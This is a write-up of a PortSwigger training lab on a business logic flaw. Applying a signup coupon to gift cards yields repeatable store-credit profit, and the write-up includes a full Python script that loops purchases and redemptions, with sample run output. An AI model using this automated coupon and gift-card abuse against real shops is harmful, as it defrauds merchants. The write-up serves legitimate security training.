Infinite money logic flaw | Dec 20, 2022

Introduction

Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: Infinite money logic flaw! Without further ado, let’s dive in.

Overall difficulty for me (From 1-10 stars): ★★★☆☆☆☆☆☆☆

Background

This lab has a logic flaw in its purchasing workflow. To solve the lab, exploit this flaw to buy a “Lightweight l33t leather jacket”.

You can log in to your own account using the following credentials: wiener:peter

Exploitation

Home page:

Login as user wiener:

In here, we can redeem some gift cards.

In the bottom of the home page, we can sign up to their newsletter.

Let’s sign up:

Now we can use SIGNUP30 code for our coupon.

Let’s try to buy the leather jacket:

Then go to /cart page:

As you can see, we’ve added that product to our cart.

Also, we can try to use the SIGNUP30 coupon:

It successfully applied the coupon.

Let’s remove that product and try to buy a product:

It works normally.

Now, since the application has a function that allows users to redeem gift cards, why not try to buy a gift card?

As you can see, we now have a gift card code: du7uEebi5e.

Try to redeem it:

Our store credits added 10 dollars!

Hmm… How can we abuse this functionality…

Ah! Remember we have the SIGNUP30 coupon right?

What if I apply that coupon the the gift card?

Now the gift card worth $7.00. Let’s place the order:

Then redeem the gift card:

Oh! Our store credit went from $89.43 to $99.43, and we only used $7.00 to buy the gift card, which we have added $3.00 to our store credit!

We have infinite money now! Let’s write a python script to automate this process:

#!/usr/bin/env python3

import requests
from bs4 import BeautifulSoup
from threading import Thread
import re
import argparse

def sendRequests(url, cookie, csrfToken):
    buyGiftCardData = {
        'productId': '2',
        'redir': 'PRODUCT',
        'quantity': 1
    }

    applyCouponData = {
        'csrf': csrfToken,
        'coupon': 'SIGNUP30'
    }

    placeOrderData = {
        'csrf': csrfToken
    }

    # Buy a gift card
    requests.post(url + '/cart', cookies=cookie, data=buyGiftCardData)

    # Apply SIGNUP30 coupon
    requests.post(url + '/cart/coupon', cookies=cookie, data=applyCouponData)

    # Place order and fetch gift card code
    orderText = requests.post(url + '/cart/checkout', cookies=cookie, data=placeOrderData, allow_redirects=True).text

    # Extract the value of gift card code
    soup = BeautifulSoup(orderText, 'html.parser')
    # Find all <td> tags
    tableTd = soup.find_all('td')
    for td in tableTd:
        # The length of the code is always 10 characters long
        if len(td.text.strip()) == 10:
            # Extract the value of the code
            giftCardCode = td.text.strip()

    redeemGiftCardData = {
        'csrf': csrfToken,
        'gift-card': giftCardCode
    }

    # Redeem gift card
    requests.post(url + '/gift-card', cookies=cookie, data=redeemGiftCardData)

    # Check store credit
    myaccountText = requests.get(url + '/my-account', cookies=cookie).text
    soup = BeautifulSoup(myaccountText, 'html.parser')
    # Find <strong> tag
    strongTag = soup.find('strong')
    # Find pattern 123.00
    storeCredit = float(re.search(r'([0-9]+\.[0-9]{2})', strongTag.text).group(0))

    if storeCredit >= 935.90:
        print('[+] You now can buy the leather jacket WITH the SIGNUP30 coupon.')
        print(f'[+] Store credit: ${str(storeCredit)}')
        exit()
    else:
        # \r to clean previous line
        print(f'[*] Current store credit: ${str(storeCredit)}', end='\r')

def main():
    # Argument parser
    parser = argparse.ArgumentParser(description='Exploit infinite money logic flaw in PortSwigger business logic vulnerabilities lab.')
    parser.add_argument('-u', '--url', metavar='URL', required=True, help='Full URL of the lab. E.g: https://0a9b002b0469da23c5c03cf3003e007b.web-security-academy.net')
    parser.add_argument('-c', '--cookie', metavar='Cookie', required=True, help='Session cookie of your user wiener. E.g: Efi6qVmgThhBsbkiTeugTPMQQ2DtofbC')
    parser.add_argument('-t', '--token', metavar='CSRF_Token', required=True, help='CSRF token. E.g: yVr8Bdqr24wuRU6e6IjZCkdgEhfY3s3c')
    args = parser.parse_args()

    url = args.url
    cookie = {'session': args.cookie}
    csrfToken = args.token

    while True:
        # Create each thread to run function sendRequests(url, cookie, csrfToken)
        thread = Thread(target=sendRequests, args=(url, cookie, csrfToken))
        # Start the thread
        thread.start()
        # Wait for previous thread finish
        thread.join()

if __name__ == '__main__':
    main()

Now, let the script runs, until we have at least $1337.00 store credit:

┌──(root🌸siunam)-[~/ctf/Portswigger-Labs/Business-Logic-Vulnerabilities/BLV-10]
└─# python3 exploit.py -u https://0a9b002b0469da23c5c03cf3003e007b.web-security-academy.net -c Efi6qVmgThhBsbkiTeugTPMQQ2DtofbC -t yVr8Bdqr24wuRU6e6IjZCkdgEhfY3s3c
[*] Current store credit: $102.43
[...]
[+] You now can buy the leather jacket WITH the SIGNUP30 coupon.
[+] Store credit: $1129.43

Now the store credit reaches above $935.90, let’s buy the leather jacket with the coupon!

We did it!

What we’ve learned:

Infinite money logic flaw